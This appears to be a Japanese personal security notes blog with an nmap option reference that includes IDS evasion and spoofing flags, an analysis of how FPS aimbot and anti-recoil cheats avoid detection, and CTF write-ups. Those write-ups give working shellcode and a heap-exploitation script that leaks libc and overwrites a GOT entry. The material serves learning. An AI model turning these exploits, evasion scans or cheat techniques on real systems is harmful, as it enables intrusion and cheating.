fr33f0r4ll

自分用雑記

Nmap option

Nmap option

自分用に、公式サイト見た方がいい

Options

Target Specification

-iL <inputfilename>
ファイルに記載されているホスト、ネットワークをターゲットとして指定する

-iR <num hosts>
指定された数だけランダムにピックアップしてスキャン

--exclude <host1[,host2][,host3],...>
除外するホスト、ネットワーク

--excludefile <exclude_file>
ファイルに記載されているホスト、ネットワークを除外する

Host Discovery

-sL
スキャンするホストをリストアップする、スキャンはまだしない

-sn
pingだけしてポートスキャンはしない

-Pn
pingをしないでスキャンを始める

-PS/PA/PU/PY[portlist]
それぞれTCP SYN, TCP ACK, UDP, SCTPでポートスキャンする

-PE/PP/PM
ICMP echo, timestamp, and netmask request discovery
上記のそれぞれのスキャンをする

-PO[protocol list]
tcp, udp, icmpが指定できる、それぞれのプロトコルでスキャン?

-n/-R
DNS解決をしない/するの指定、デフォルトはたまにするsometimesになってる?

--dns-servers <serv1[,serv2],...>
DNSサーバを指定

--system-dns
OSで指定されたDNSを使うように指定

--traceroute
ホストごとにtracerouteする

Scan Techniques

nmap docs

-sS/sT/sA/sW/sM
TCP SYN/Connect()/ACK/Window/Maimon でそれぞれスキャン

  • TCP Connect scan
    • 3wayハンドシェイクが成立するかどうかで判定するスキャン
  • TCP SYN scan
    • SYNだけ送ってSYN-ACKが返ってくるかどうかで判定するスキャン
    • 最後にRSTを送る
    • 高速
  • TCP ACK scan
    • openかどうかの判定はできないが、ステートフルかどうか、フィルターされてるかどうかを調べるために使う
    • ACKだけを送る、正常ならopenでもcloseでもRSTが返ってくるはず
  • Window scan
    • ACK scanとほぼ同じ
    • 特定の実装での挙動の違いを利用してopen/closeの判定をする
    • 対象ホストがよく分からないときはあんまり信用しない
  • Maimon scan
    • このテクニックはNULL, FIN, Xmas scanと同じ
    • FIN/ACKを使う
    • BSD系のシステムの挙動を判定する

-sU

  • UDP scan
    • UDPで通信して応答があるかで判定

-sN/sF/sX
TCP Null, FIN, Xmas スキャン
フラグ以外の挙動は一緒でclosedはちゃんと判定できる、openかfilteredかは明確じゃない

  • TCP Null scan
    • フラグを何もセットしない
  • FIN scan
    • FINを送る
  • Xmas scan
    • FIN, PSH, URGをセットする

--scanflags <flags>
TCPスキャンのフラグを指定する
exp. nmap -sS --scanflags SYNFIN -T4 www.google.com

-sI <zombie host[:probeport]>
Idleスキャン
他のホストからのパケットを偽造して送信する
パケットに割り振られるIDの増加を見て直接スキャンせずに状態を判定する

-sY/sZ
SCTP INIT/COOKIE-ECHO スキャン
SCTPはTCPUDPの特徴を持たせて新しい機能も追加されたプロトコル
INITはTCP SYN scanみたいな感じ
COOKIE-ECHO scanはdropとABORTを返す挙動の違いを使ったスキャン

-sO
IP protocolスキャン
プロトコルヘッダーを順に変えてスキャンする?
厳密にはポートスキャンではない

-b <FTP relay host>
FTP bounce scan
FTPのproxy機能のスキャン
1997年に流行ったものなのでいまはまずない

Port Specification and Scan Order

-p <port ranges>
スキャンするポートの指定
Ex: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080,S:9

--exclude-ports <port ranges>
スキャンから除外するポート

-F
デフォルトよりも少ないポートをスキャンするファストモード

-r
順番にスキャンする、ランダム化しない

--top-ports <number>
よくある順に指定した数だけスキャン

--port-ratio <ratio>
よくある度で指定してスキャン、使いにくそう

Service/Version Detection

-sV
サービスとバージョンを調べる

--version-intensity <level>
0~9でどれぐらい調査するか指定できる、9は全ての調査をする

--version-light
level 2の調査をする

--version-all
全ての調査をする、level 9と同じ

--version-trace
スキャンで何をしたか表示する、Debug用

Script Scan

-sC
--script=defaultと同じ

--script=<Lua scripts>
スキャンに使うLuaスクリプトを指定する
規定の位置にあるスクリプトファイルの名前や、ディレクトリ、カテゴリなど様々な方法で指定できる

--script-args=<n1=v1,[n2=v2,...]>
スクリプトに渡す引数

--script-args-file=filename
ファイル中の値を引数として渡す

--script-trace
送信データと受信データを表示

--script-updatedb
スクリプトデータベースを更新する

--script-help=<Lua scripts>
スクリプトのヘルプを表示する

OS Detection

-O
OS識別を有効にする

--osscan-limit
OS識別を制限する

--osscan-guess
強めにOSの推測をする

Timing and Performance

<time>には時間を指定できる、末尾でms, s, m, hの指定ができる

-T<0-5>
タイミングのテンプレート、5が一番速い

--min-hostgroup/max-hostgroup <size>
並列スキャンするホストの分割サイズ

--min-parallelism/max-parallelism <numprobes>
調査の並列数

--min-rtt-timeout/max-rtt-timeout/initial-rtt-timeout <time>
調査のrount trip time

--max-retries <tries>
ポートスキャンの調査のリトライ数

--host-timeout <time>
ホストのタイムアウト検知時間

--scan-delay/--max-scan-delay <time>
調査ごとのインターバル

--max-rate/--min-rate <number>
パケット送信の最大/最低レート、一秒間に指定した数送信する

Firewall/IDS Evasion and Spoofing

-f; --mtu <val>
パケット分割数

-D <decoy1,decoy2[,ME],...>
デコイとなるホストを指定し、複数ホストからのスキャンとみせかけられる?

-S <IP_Address>
ソースアドレスの偽装

-e <iface>
インターフェースの指定

-g/--source-port <portnum>
指定したポートでスキャン

--proxies <url1,[url2],...>
HTTP/SOCKS4プロキシを指定して、そこを経由してスキャンする

--data <hex string>
データを指定しパケットに追加する

--data-string <string>
ASCII文字列としてパケットにデータを追加

--data-length <num>
指定された長さまでランダムなデータを追加

--ip-options <options>
IPオプションを指定

--ttl <val>
TTLの指定

--spoof-mac <mac address/prefix/vendor name>
MACアドレスを偽装

--badsum
checksumを不正なものにする

Output

-oN/-oX/-oS/-oG <file>
出力形式を指定してファイルに書き出す
通常、XML、leet、grepable

-oA <basename>
メインの3つのフォーマットで出力する

-v
逐次的に出力する、vの数でレベルが上がる

-d
デバッグ出力指定、dの数でレベルが上がる

--reason
ポート判定の理由を表示してくれる

--open
openなポートだけ表示する

--packet-trace
送信、受信のパケットを全て表示

--iflist
インターフェース、 ルートを表示、デバッグ

--append-output
指定のファイルになんか出力する??

--resume <filename>
中止されたスキャンの情報を保存する?

--stylesheet <path/URL>
XMLをHTMLに変換するためのXLSファイルへのパス?

--webxml
Nmap.orgのxml変換のためのスタイルシート?

--no-stylesheet
XSLファイルを参照して変換しないように指定

Misc

-6
IPv6

-A
OS識別、バージョン識別, スクリプト, traceroute

--datadir <dirname>
Nmapのデータディレクトリを指定する

--send-eth/--send-ip
生のeth、ipのパケットフレームを使う

--privileged
ユーザに特権があることを保証する

--unprivileged
生ソケットを触れない権限であることを保証する

-V
バージョン情報

-h
ヘルプ

FPSのチートソフトを解析した話

FPSのチートプログラムを解析した

  • 結論
    • アンチチートの人達大変そう
    • 中国人やべーな

経緯

なぜそんなことになったかというと、特に理由はなくひょんなことからチートプログラムを手に入れる機会があったのでせっかくだから解析してみるかとなったからです。 そこから現在のチート検知がどのような手法を使って検知しているか、チートを防ぐのがどの程度困難なのかが分かっておもしろかったので、書き残しておこうと思います。

チートの内容

4つのチートが手に入ったのですが、そのうち2つはバージョンが違う同一のものらしいので実質3つです。 そして、そのうち1つがC++で実装されたオートエイム機能があるもので、バイナリのみがあります。 他の2つはアンチリコイルのチートで、ほぼ同じ実装になっており、AutoHotKeyを利用したものでした。

説明するまでもないですが、オートエイムは敵を発見次第自動的に照準を移動させ、敵に照準を合わせ続けるチートで、アンチリコイルは銃の反動をほぼないことにするチートです。

なお、これらのプログラムの動作自体は検証していないので(BANされたくないし)、実際は動作しなかったりBANされたりする程度のものかもしれないです。

オートエイム

C++で書かれたプログラムで、解析対策は一切行われていなかったのでとても解析しやすかったです。 マルウェアと違ってチートは対策側の手に渡ることを必ずしも想定しなくてもいいからでしょうか。 イタチごっこが進んでよりチートが稼げるようになるとその辺の事情も変わってきそうですね。

このチートはAIを使ったチートと銘打たれており、実際画像認識を使用していました。 使われていたのはYoloXという手法の物体認識をする機械学習モデルのようで、こちらのライブラリを使用しているようでした。 画面全体をWindowsAPIを経由してDevice Contextを取得し、そこから画面全体をBitmapとして取得します。 そのBitmapを学習モデルに識別させて対戦相手を認識しているようでした。 その後、NtCreateFileでGHUBのドライバへの制御を取得し、ドライバに対してマウスカーソルを動かす操作をしてエイムを合わせるようになっているようです。

この手法の巧妙なところは、ゲームプログラム自体には一切タッチせずにエイムすべき箇所を識別し、エイム操作をしているところです。 従来のチートでは、ゲームプロセスそのものもにアクセスしたりパケットをキャプチャしたりしてゲームシステム上の情報を取得し、エイムすべき箇所を取得していたようです。 あるいは、Windowsに存在するAPI越しに操作をすることで様々な動きを実現していたと思われます。 つまりアンチチートソフトとしてはゲームのデータを取得しようとする動きや、マウスやキーボードのような機能へのアクセスだけ検知すればよかったのです。 しかし、今回解析したチートの手法はこのような方針では検知できないように思えます(最初に言ったとおり検証していないので普通に検知してくるかもしれないです)。 ゲームプロセスにはアクセスしないため、アンチチートソフトには画面を直接取得する操作と、マウスメーカーのドライバが何らかの機能を発揮していることしか分かりません。 もちろんチートソフトのプロセスをことこまかに観察するようにすれば怪しいと分かりますが、全てのプロセスを厳密にリアルタイムで解析できるかは疑問です。 実際には全然可能かもしれないですが、実際に検知させるわけにもいかないのでそのあたりの判断は難しいです。

ならば画面のキャプチャをしたりする動作や、マウスなどを動かすような動作を検知すればいいではないかとなるかもしれませんが、これには問題があります。 もしそのような基準にした場合、画面のキャプチャをするソフトはチートではありませんがチートとして誤検出されてしまう恐れがあります。 そもそもゲーム配信をする場合はそもそも画面を取得することが前提です。 そういったソフトを一律に禁止するのは不可能でしょうし、画面のキャプチャといった一般的な挙動を基準にするのは難しそうです。 また、まったく正当なソフトウェアを禁止にすればユーザから反発がありますし、他の企業に対する営業妨害にすらなりえます。 例えば、「Logitechのドライバが入っていたらVarolantが起動しないようにしました」ということになったら、Logitechの売上に影響する可能性は否定できないでしょう。

また、公式なメーカーから出されたドライバ越しにカーソルを操作するというのも検知がやや難しそうです。 そういったソフトウェアがマウスに対してある程度の操作を加えるのはありえそうです。 振動や手ぶれへの補正はどうなっているのでしょうか?今後調べてみるのも面白そうです。 こうした公式メーカーのドライバやソフトウェアというのは無数にありそうですし、そういったドライバへの操作を完璧に検知するというのは難しそうです。 ましてや公式メーカー以外に出されているものも多くあり、その使用を制限する正当性はありません。 というよりそもそも、そういった方針でチートを防ぎたいのならコンシューマー機向けに開発すればよいのです。 ただしそうなるとPCシェアの巨大さにタダ乗りした非常に多いユーザ数というメリットは失われます。

オートエイムについては解析した結果以上のようなことが分かりました。 完璧に解析しきったらもう少し技術的に詳細にしてもいいかもしれません。

アンチリコイル

こちらはもっと簡単に実装されていて、AutoHotkeyスクリプトとして主に実装されていました。 hyde.dllというプロセス隠蔽ライブラリを利用してプロセスを隠蔽することで検知を免れているようです。 ゲームにおける各武器ごとの反動パターンがほぼ固定である場合、その武器を発射するたびにその反動パターンと逆にカーソルを動かせば無反動になるという理屈で実現していました。 武器の判定は画面上における色の分布で判定していて、カーソルを動かす操作自体は外部ライブラリにて実装しているようです。 mouse_event経由でカーソルをコントロールしているようで、若干検知されそうな感じがします。 AutoHotkeyはDLLの関数を呼び出す機能があるため、簡単なスクリプトで複雑な機能を呼び出すことができます。 特徴的なのは、音声による読み上げで情報を渡している点です。 配信者や画面共有のさいにバレずに情報を受け渡すためには最良の方法かもしれません。

こちらはやや検知しやすそうなものの、手軽で労力がかかっていません。 反動パターンなどの資料はたいしてアンダーグラウンドでもないようなコミュニティで共有されているようです。 探せばすぐ見つかりますが、探せばすぐに見つかるので載せないようにします。

賢明ならば分かることですが、AutoHotkeyhyde.dllは正当な目的のために使える正当なソフトウェアであり、チートソフトなどではありません。 あくまでその上で動作したり呼び出したりするスクリプトがチートソフトなのです。 それらを使用不可能にしようとしたり制限しようとする愚かな人間が後を断たないので注意事項として書いておくことにします。

その他の情報

これらのチートのうち、ひとつはおおよそ作者と思われる存在を見つけることに成功しました。 こちらリポジトリとコードが一致した。

探せばすぐ見つかりますが、探せばすぐに見つかるので載せないようにします。

とは言ったものの、これに関しては「Apex Cheat」で検索すればすぐに出てくる程度のものであるのでどうせだしちょい出ししておくことにします。 アンチリコイルはまだ影響の少ない方のチートだからというのもありますが、結局は言い訳ですね。

さて、こちらの作者なのですが、驚くことに名前や住所、メールアドレス、所属する会社まで公開しています。 それによると中国在住のようです。 もちろんGitHubに登録できる情報というのは個人が勝手に登録したものであり、その真正性をまったく保証しないものです。 しかし、登録されている会社はオフィシャルなリポジトリを所有しているため、まったく関係のないアカウントが所属登録した場合に通知がいくのではないかと思われます。 この点については仕様をろくに知らないので判断ができませんでした。 とはいえ、おおよそ正しいのではないかという気もします。 向こうではこういった行為はかなり受け入れられているのかもしれません。

以上です。

SECCON Beginners CTF 2019 Writeup

SECCON Beginners CTF 2019 Writeup

忙しくてCTFしてなかったので復帰戦、全然駄目になっていた。
解けたのは

  • Rev
    • Seccompare
    • Leakage
    • Linear Operation
  • Crypto
    • So Tired
    • Party
  • Misc
    • containers
    • Dump

だけ、1日目から8時間くらいやってあとはあきてしまった。 pwnが解けてないのほんと駄目。

以下Writeup。

[Rev] Seccompare

単純にstrcmpでフラグと比較しているので簡単に解けた。 ltraceを使ったけどstringsとか静的解析でもすぐ分かると思う。

[Rev] Leakage

解析してみると内部で難読化したフラグを一文字ずつ復号して比較する処理をしていた。 デバッガを使って文字の比較を誤魔化してやれば一文字ずつフラグが復号される。 それか一文字ずつ特定して一文字ずつ入力を合わせていってもいい、手間はあまり変わらない。

[Rev] Linear Operation

入力した文字列を、かなり面倒くさそうな変換処理で変換して比較している。 angrを使った、こういうときに便利。使い方がまったく分からないから勉強しないと...

コードは以下。

import angr

p = angr.Project('./linear_operation')
state = p.factory.entry_state()
simgr = p.factory.simulation_manager(state)

trg_addr = 0x0040cf78
avoid_addr = [0x0040cf86, 0x0040cbb0, 0x0040cbb6, 0x0040cbbc, 0x0040cbc2, 0x0040cbc8, 0x0040cbce, 0x0040cbd4, 0x0040cbda, 0x0040cbe0, 0x0040cbe6, 0x0040cbec, 0x0040cbf2, 0x0040cbf8, 0x0040cbfe, 0x0040cc04, 0x0040cc0a, 0x0040cc10, 0x0040cc16, 0x0040cc1c, 0x40cc22, 0x40cc28, 0x40cc2e, 0x40cc34, 0x40cc3a, 0x40cc40, 0x40cc46, 0x40cc4c, 0x40cc52, 0x40cc58, 0x40cc5e, 0x40cc64, 0x40cc6a, 0x40cc70, 0x40cc76, 0x40cc7c, 0x40cc82, 0x40cc88, 0x40cc8e, 0x40cc94, 0x40cc9a, 0x40cca0, 0x40cca6, 0x40ccac, 0x40ccb2, 0x40ccb8, 0x40ccbe, 0x40ccc4, 0x40ccca, 0x40ccd0, 0x40ccd6, 0x40ccdc, 0x40cce2, 0x40cce8, 0x40ccee, 0x40ccf4, 0x40ccfa, 0x40cd00, 0x40cd06, 0x40cd0c, 0x40cd12, 0x40cd18, 0x40cd1e, 0x40cd24]

simgr.explore(find=trg_addr, avoid=avoid_addr)
state = simgr.found[0]
print(state.posix.dumps(0))

大量にある外れの分岐を探すのが一番面倒くさかった。

TODO: Radare2のマウスクリックでランダムな機能が実行される不具合の原因を特定する。

[Crypto] So Tired

zlibとbase64を繰り返し適用してるだけ、最初base64じゃないと思って無駄に時間を使った。 Pythonで解いた。

import base64
import zlib

base64_txt = ''
with open('encrypted.txt') as f:
    base64_txt = f.read()

try:
    while True:
        base64_txt = zlib.decompress(base64.b64decode(base64_txt))
except Exception as e:
    print(base64_txt)

[Crypto] Party

暗号化処理をしているコードを見ると、秘密情報であるcoeffの3つの値を変数とした連立方程式が作れることが分かる。

party = [p1, p2, p3], coeff = [c1, c2, c3], val = [v1, v2, v3]とした場合、暗号化処理は次のようになる。

v1 = c1 + c2 * p1 + c3 * p1 * p1
v2 = c1 + c2 * p2 + c3 * p2 * p2
v3 = c1 + c2 * p3 + c3 * p3 * p3

val, partyは既知なので、c1, c2, c3に関する3つの一次方程式が存在することになるので、あとは解くだけである。
桁が大きすぎて計算が面倒なのでPythonにやらせた。sympy便利。

import sympy
from Crypto.Util.number import long_to_bytes

[(x1, y1), (x2, y2) , (x3, y3)] = [(5100090496682565208825623434336918311864447624450952089752237720911276820495717484390023008022927770468262348522176083674815520433075299744011857887705787, 222638290427721156440609599834544835128160823091076225790070665084076715023297095195684276322931921148857141465170916344422315100980924624012693522150607074944043048564215929798729234427365374901697953272928546220688006218875942373216634654077464666167179276898397564097622636986101121187280281132230947805911792158826522348799847505076755936308255744454313483999276893076685632006604872057110505842966189961880510223366337320981324768295629831215770023881406933), (3084167692493508694370768656017593556897608397019882419874114526720613431299295063010916541874875224502547262257703456540809557381959085686435851695644473, 81417930808196073362113286771400172654343924897160732604367319504584434535742174505598230276807701733034198071146409460616109362911964089058325415946974601249986915787912876210507003930105868259455525880086344632637548921395439909280293255987594999511137797363950241518786018566983048842381134109258365351677883243296407495683472736151029476826049882308535335861496696382332499282956993259186298172080816198388461095039401628146034873832017491510944472269823075), (6308915880693983347537927034524726131444757600419531883747894372607630008404089949147423643207810234587371577335307857430456574490695233644960831655305379, 340685435384242111115333109687836854530859658515630412783515558593040637299676541210584027783029893125205091269452871160681117842281189602329407745329377925190556698633612278160369887385384944667644544397208574141409261779557109115742154052888418348808295172970976981851274238712282570481976858098814974211286989340942877781878912310809143844879640698027153722820609760752132963102408740130995110184113587954553302086618746425020532522148193032252721003579780125)]

c1 = sympy.Symbol('c1')
c2 = sympy.Symbol('c2')
c3 = sympy.Symbol('c3')

expr1 = c1 + c2 * x1 + c3* x1 * x1 - y1
expr2 = c1 + c2 * x2 + c3* x2 * x2 - y2
expr3 = c1 + c2 * x3 + c3* x3 * x3 - y3

flag_num = sympy.solve([expr1, expr2, expr3])[c1]

print(flag_num)
print(long_to_bytes(flag_num))

RSARSAを忘れたので解けませんでしたはい。

[Misc] containers

Welcomeは問題じゃないので飛ばす。 Dockerのコンテナか何かかと思ったけど、どうも違うらしいので適当に抽出した。 作者っぽい人のツイート見る限りではオリジナルらしい?

foremost使った。

16進数値のクソ長いフラグを画像ごとにバラして答えとするのは悪い例だと思いますが。
ある程度意味のある文字列にしないと無駄に入力ミスするし順番の勘違いもしやすいし、コピペできない形式なら非推奨だってCTFの手引きに書いてある。
大人しくctf4b{th1s_1s_th3_fl4g}みたいな形式にすれば良かったと思う、他の問題だとそういうフラグあったし。

[Misc] Dump

pcapファイル渡される、httpで通信してるっぽいので通信しているデータをwiresharkで取り出す。 webshellを使ってshで命令を実行、httpで結果を返信してるらしい。 命令を見てみるとflagをhexdumpで出力してるらしいので、単純にデコードする。 コードは以下。

dump_txt = ''

with open('hexdump.txt', 'r') as f:
    dump_txt = f.read()

dump_line = [line for line in dump_txt.split('\n') if line != '']
dump_str = [ch for ch in ' '.join(dump_line).split(' ') if ch != '']
dump = [int(ch, 8) for ch in dump_str]

with open('recovery.bin', 'w') as f:
    f.write(''.join([chr(i) for i in dump]))

jpgらしいので画像として開いてフラグゲット。

[Pwn] shellcoder

終わったあとに解いた、送信したデータをそのまま実行するらしいのでシェルを起動するだけ。
だけなのだが"binsh"が含まれていると実行されないのと0x28バイトしか入力できない。
これらの制約を満すシェルコードを作る必要がある。 "binsh"については上位4bitと下位4bitを互い違いに加算するようにすれば誤魔化せる、長さは上手いこと調節したり。

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

context.update(arch='amd64')
exe = './shellcoder'

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:
    return remote('153.120.129.186', 20000)
    else:
        return process([exe] + argv, *a, **kw)


# # gdb
# gdbscript = '''
# continue
# '''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

import time

io = start()

forbidden_chars = set('binsh')

shellcode = '''
    /* push '/bin///sh\x00' */
    xor rax, rax
    mov rdx, rax
    mov rsi, rax
    push rax
    mov al, SYS_execve /* 0x3b */
    
    mov rbx, 0x6070202060606020
    mov rcx, 0x08030f0f0e09020f
    add rbx, rcx
    push rbx
    
    push rsp
    pop rdi
    
    syscall
'''
payload = asm(shellcode)



if len(payload) > 0x28:
    print("Length over: {:x}".format(len(payload)))
    exit(1)

chrs = set(payload)
if len(chrs.intersection(forbidden_chars)) != 0:
    print(chrs.intersection(forbidden_chars))
    exit(1)

if args.DEBUG:
    time.sleep(3)

io.sendline(payload)

io.interactive()

久しぶり過ぎて色々忘れていて面倒だった。

Heap exploitation Hack.lu CTF 2014: OREO

Heap exploitation Hack.lu CTF 2014: OREO

How2Heapシリーズの続き、とうとうhouse of spiritまで来た。
house of spirit自体の解説はhttps://github.com/shellphish/how2heap、問題はhttps://github.com/ctfs/write-ups-2014/tree/master/hack-lu-ctf-2014/oreoにある。
Writeupはなしで解けた!

問題

fileとchecksecは以下。

oreo: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.26, BuildID[sha1]=f591eececd05c63140b9d658578aea6c24450f8b, stripped

    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

x86でセキュリティ機構は普通。
Rifleを購入するプログラムになっていて、名前や説明の入力をして注文したり、メモのようなものを残すことができる。

解析

Radareで解析してマニュアルデコンパイルしたコードは以下。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void main_loop();
int read_input_num();
void check_last_char(char* buf);
void add_rifle();
void show_rifle();
void order_rifle();
void leave_msg();
void show_status();

// size 0x38
struct tmp_st {
  char description[0x19];
  char name[0x1b];     // 0x19
  struct tmp_st *next; // 0x34
};

struct tmp_st* head_ptr; // 0x804a288
int order_count;         // 0x804a2a0
int list_count;          // 0x804a2a4
char *msg;               // 0x804a2a8
char global_buf[0x80];   // 0x804a2c0

int main(int argc, char** argv){
  // print welcome
  // initialize
  list_count = 0;
  order_count = 0;
  msg = global_buf;

  main_loop();
  
  return 0;
}

void main_loop() {
  // show menu

  while(1) {
    switch(read_input_num()) {
    case 1:
      add_rifle();
      break;
    case 2:
      show_rifle();
      break;
    case 3:
      order_rifle();
      break;
    case 4:
      leave_msg();
      break;
    case 5:
      show_status();
      break;
    case 6:
      return;
    default:
      break;
    }
  }
}

int read_input_num() {
  char buf[0x20];
  int num;
  
  while(1) {
    // print action
    fgets(buf, sizeof(buf), stdin);
    if(sscanf(buf, "%u", &num) != 0) {
      return num;
    }
  }
}

void check_last_char(char* buf) {
  char* local_buf = buf;
  char* last = local_buf + strlen(local_buf) - 1;

  if(last >= buf && *last == '\n') {
    *last = '\0';
  }

  return;
}

void add_rifle() {
  // local_10h = [0x804a288]
  struct tmp_st* tmp = head_ptr;
  head_ptr = malloc(sizeof(struct tmp_st));

  if(head_ptr == NULL) {
    // print error
    return;
  }
  
  head_ptr->next = tmp;

  // rifle name
  fgets(head_ptr->name, 0x38, stdin); // sizeof(struct tmp_st)?
  check_last_char(head_ptr->name);
  // description
  fgets(head_ptr->description, 0x38, stdin);
  check_last_char(head_ptr->description);

  list_count++;

  return;
}

void show_rifle() {
  // printf
  struct tmp_st* head = head_ptr;

  while(head != NULL) {
    // print head->name
    // print head->description
    head = head->next;
  }

  return;
}

void order_rifle() {
  struct tmp_st* head = head_ptr;

  if(list_count == 0) {
    // no rifle
    return;
  }

  while(head != NULL) {
    struct tmp_st* tmp = head;
    head = head->next;
    free(tmp);
  }

  head_ptr = NULL;
  order_count++;

  return;
}

void leave_msg() {
  // enter notice
  fgets(msg, 0x80, stdin);
  
  return;
}

void show_status() {
  // print list_count
  // print order_count

  if(msg[0] != '\0') {
    // print msg
  }

  return;
}

ちょっと整理されてない。

add_rifle脆弱性があり、バッファのサイズを指定するべき場所に構造体tmp_stのサイズが指定されているため、ヒープ上でのバッファオーバーフローが存在している。
よってtmp_st.nameから0x38だけ任意の値に書き換えられる、例えばnextとか。
これによりリンクリストの次の領域を任意のアドレスに指定できるので、任意の領域をfreeすることができる。

解法

house of spirit

簡単に説明すると、chunkと同じように値を設定してやることでheap領域以外をfreeしてfastbinsに繋ぐ攻撃である。
こうすることで任意の領域をmallocに返させて、値を書き込んだりできるようになる。


house of spiritを使うことは分かっているので、それを意識して考えてみた。
すると、グローバル変数の値を適切に設定してやれば、ヒープオーバーフローでfreeさせられそうだと思い付いた。
どこが書き換えられると嬉しいかを考えると、leave_msgで任意の入力を書き込めるchar* msgあたりをmallocで返したい。
そこで、msgの上のlist_countにサイズを設定しmsgfreeすることで、次のadd_rifleで指しているアドレスを改ざんできるようにすることを目指した。

house of spiritによりadd_rifleでアドレスを改ざんできるようになったので、書き換えるべきアドレスを探した。
GOTを書き換えられるので、ユーザの入力を受け取る標準関数sscanfを書き換えることにした。
libcのバージョンを特定する必要があったため2つ以上の関数のアドレスをリークさせる必要があるがsscanfは一番最後の領域にあったため直接sscanfを指すようにしてしまうとうまくlibcのリークとGOTの書き換えが両立できない。
そこで、ひとつ上のlibc_mainを指定してリークと書き換えが1度にできるようにした。

exploit

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

context.update(arch='i386')
exe = './oreo'
libc = './libc6_2.23-0ubuntu10_i386.so'


def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:
        return remote(
            '', )
    else:
        return process([exe] + argv, env={'LD_PRELOAD': libc}, *a, **kw)


#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

io = start()
elf = ELF(exe)


def add_rifle(name, desc):
    io.sendline('1')
    io.sendline(name)
    io.sendline(desc)
    return


def show_rifle():
    sep = '==================================='

    io.sendline('2')
    io.recvuntil(sep)
    return io.recvuntil(sep).replace(sep, '')


def order_rifle():
    io.sendline('3')
    return


def leave_msg(notice):
    io.sendline('4')
    io.sendline(notice)
    return


def show_status():
    io.sendline('5')
    io.recvuntil('======= Status =======')
    sep = '======================'
    return io.recvuntil(sep).replace(sep, '')


log.info('Exploit Start!')
# 最初にオーバーフローを利用して、
log.info('Overwrite next ptr by overflow.')
# set 0x41 order count for chunk size field.
for i in range(0x41 - 1):  # -1 for additional add_rifle
    add_rifle('A' * 4, 'B' * 4)

log.info('Create fake chunk.')
# Fake chunk layout
# order_count: prev_size
# list_count: user_data, size
# msg: 4
# space: 0x18
# global_buf: 0x34 - 0x18 + NULL + prev_size + size
global_buf_addr = 0x804a2c0
order_count_addr = 0x804a2a0
list_count_addr = 0x804a2a4

log.info("Firstly, overwrite tmp_st.next to msg (list_count_addr + 4).")
payload = 'C' * 0x1b  # padding
payload += p32(list_count_addr + 0x4)  # prev_sizeとsizeの分だけずらして設定する
add_rifle(payload, 'D' * 4)

payload = 'E' * (0x34 - 0x18)  # char* msgとパディング分をスキップ
payload += '\0' * 4  # nextをNULLに
payload += 'H' * 4  # prev_sizeを適当に
payload += p32(0x41)

assert (len(payload) <= 0x80)
leave_msg(payload)
order_rifle()

# fastbinにorder_countのアドレスが繋がれる
log.info('Overwrite msg.')
# descriptionに書き込んでmsgをfree@GOTを指すように書き換える
# chunkがorder_countを指しているので、mallocで返ってくるのはmsgになる
log.info('Leak libc function address')

# libcを特定ために2つの関数アドレスをリークする必要がある
# sscanfを書き換えられる必要がある
# なのでlibc_start_mainからリークさせる
payload = p32(elf.got['__libc_start_main'])
add_rifle('IIII', payload)
status = show_status().split('\n')[-2].replace('Order Message: ', '')
libc_main_addr = u32(status[:4])
sscanf_addr = u32(status[4:8])
log.info('__libc_start_main@GOT: 0x{:x}'.format(libc_main_addr))
log.info('__isoc99_sscanf@GOT: 0x{:x}'.format(sscanf_addr))
log.info('Now, you can get libc from libc database.')

log.info('Overwrite sscanf to system.')
libc = ELF(libc)
libc_base = sscanf_addr - libc.symbols['__isoc99_sscanf']
log.info('libc base: 0x{:x}'.format(libc_base))
system_addr = libc.symbols['system'] + libc_base

leave_msg('J' * 4 + p32(system_addr))  # これでsscanfがsystemになる

# 数値読み取りに渡される文字列に/bin/shを指定することでsystemでシェル起動
io.sendline('/bin/sh' + '\0')

io.interactive()

まとめ

時間はかかったけど自力で解けたので嬉しい。 だんだんコツが分かってきた。

# Heap exploitation Insomni'hack 2017 Wheel of Robots

Heap exploitation Insomni'hack 2017 Wheel of Robots

Heap exploitationのお勉強、Writeup見ちゃった。
問題はここ
参考にしたのはshellphishのhow2heap。

問題

実行ファイルだけ降ってくる。
解くのにlibcが必要になるが、途中で任意アドレスの読み出しができるようになるので、ライブラリ関数のアドレスからlibcのバージョンが特定できるはず。
こことか使える。

wheel: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=48a9cceeb7cf8874bc05ccf7a4657427fa4e2d78, stripped

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

普通のx64といった感じ。

解析

直接実行してみると、malloc、free、read、writeができるっぽい感じだと分かる。
リバーシングしてみると、いくつか脆弱性を含んでいることが分かる。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>

void gotohell(int id);
void initialize();
int read_menu_num(char* buf, int len);
void add_robot();
void del_robot();
void change_name_robot();
void start_robot();
void show_buf(char* buf);

// wheel menu
// 1. Tinny Tim
// 2. Bender
// 3. Robot Devil
// 4. Chain Smoker
// 5. Billionaire Bot
// 6. Destructor
char* chain_smoker;      // 0x6030e0
char* destructor;        // 0x6030e8
char* bender;            // 0x6030f0
char* tinny_tim;         // 0x6030f8
char* robot_devil;       // 0x603100
char* billionaire_bot;   // 0x603108
char menu_num_buf[4];    // 0x603110
int bender_flg;          // 0x603114
int chain_smoker_flg;    // 0x603118
int destructor_flg;      // 0x60311c
int tinny_tim_flg;       // 0x603120
